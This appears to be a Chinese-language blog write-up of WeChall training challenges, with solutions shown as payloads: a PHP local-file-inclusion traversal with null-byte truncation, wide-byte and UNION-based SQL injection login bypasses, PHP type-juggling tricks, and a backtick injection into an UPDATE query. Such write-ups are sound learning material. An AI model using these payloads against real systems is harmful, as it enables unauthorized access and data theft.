Home

Wechall

2019/04/09

Training:Get Sourced

直接F12查看源码:
image

Training:Stegano I

用十六进制编辑器打开图片:

Training:ASCII

直接将ascii码转为字符:
image

Training:Encodings: URL

url编码解码后得到:

Yippeh! Your URL is challenge/training/encodings/url/saw_lotion.php?p=aiiiagorpbcc&cid=52#password=fibre_optics Very well done!

Prime Factory

找到大于1000000,并和1000000最接近的两个质数,并满足这两个质数的各个位数字的和也是一个质数,python代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import math
def is_prim(n):
if n == 1:
return False
for i in range(2,int(math.sqrt(n)+1)):
if n % i == 0:
return False
return True
num = 1000000
i = 0
while 1:
if is_prim(sum(list(map(int,str(num))))) == True and is_prim(num) == True:
print(num)
i += 1
if i == 2:break
num += 1

运行结果:
image
答案为10000331000037

Training: PHP LFI

给出来的代码如下

1
2
$filename = 'pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome").'.html';
include $filename;

包含在pages目录下的名为“file.html”的文件
输入?file=../solution.php%00,用%00截断后面的.html
但是发现显示No such file or directory
尝试再上一级目录:?file=../../solution.php%00 成功

PHP 0817

看了下给出的代码,没有过滤,直接?which=solution

PHP 0815

查看源码:

1
elseif (in_array($show, $whitelist))

这一行进行了限制,核对了输入是否在白名单中
强制类型转换:
intval()转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0。

1
2
3
var_dump(intval('2')) //2
var_dump(intval('3abcd')) //3
var_dump(intval('abcd')) //0

试了下intval()显示
image
又试了下(int)显示
image
去搜了下资料发现还可以用隐式转换:+0/-0

1
2
3
4
5
6
7
8
9
$a = true; // 1
$aa = false; // 0
$b = null; // 0
echo $a + 1, '<br/>'; // 输出2
echo $b + 1, '<br/>'; // 输出1
echo 1 + 'ads234w', '<br/>'; // 输出1
echo 1 + '99a3ds234', '<br/>'; // 输出100
echo true + '99a3ds234', '<br/>'; // 输出100
echo false + '99a3ds234', '<br/>'; // 输出99

Addslashes

查看源码:

1
2
$username = addslashes($username);
$password = md5($password);

宽字节注入:
这是宽字节问题,因为 %df和(%5c)合成了一个運 导致后面’没有被转义,闭合成功,逃出引号,成功注入

username=Admin%df' or 1=1 %23

显示:
image
用limit试:

?username=Admin%df' or 1=1 limit 1,1 %23&password=123456&login=%E6%B3%A8%E5%86%8C

Crappyshare

file://solution.php
image

Training: MySQL I

Username = 1' or '1' = '1' or '1' ='1
Password = ***(任意数)

源码中password用了md5加密,所以从username进行SQL注入
SQL语句中执行优先顺序not>and>or
然后注意到题目要求用admin登录:username = admin’ or ‘1’ = ‘1或者username = admin’ #

Training: MySQL II

密码和用户名分开验证,先验证单独用户名,再用查询用户名得到的密码与输入的密码进行验证
这里查了下资料,可以用union联合查询绕过验证

Username = 1' union select 1,'admin',md5('111') #
Password = 111

查询测试:

SELECT * FROM `user` WHERE 1

image

SELECT * FROM `user` WHERE 1 union select 1,2

image

SELECT * FROM `user` WHERE username = '1' union select 'password','username'

image

No Escape

$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";

看源码发现要用`闭合而不是单引号

?vote_for=bill`=111--+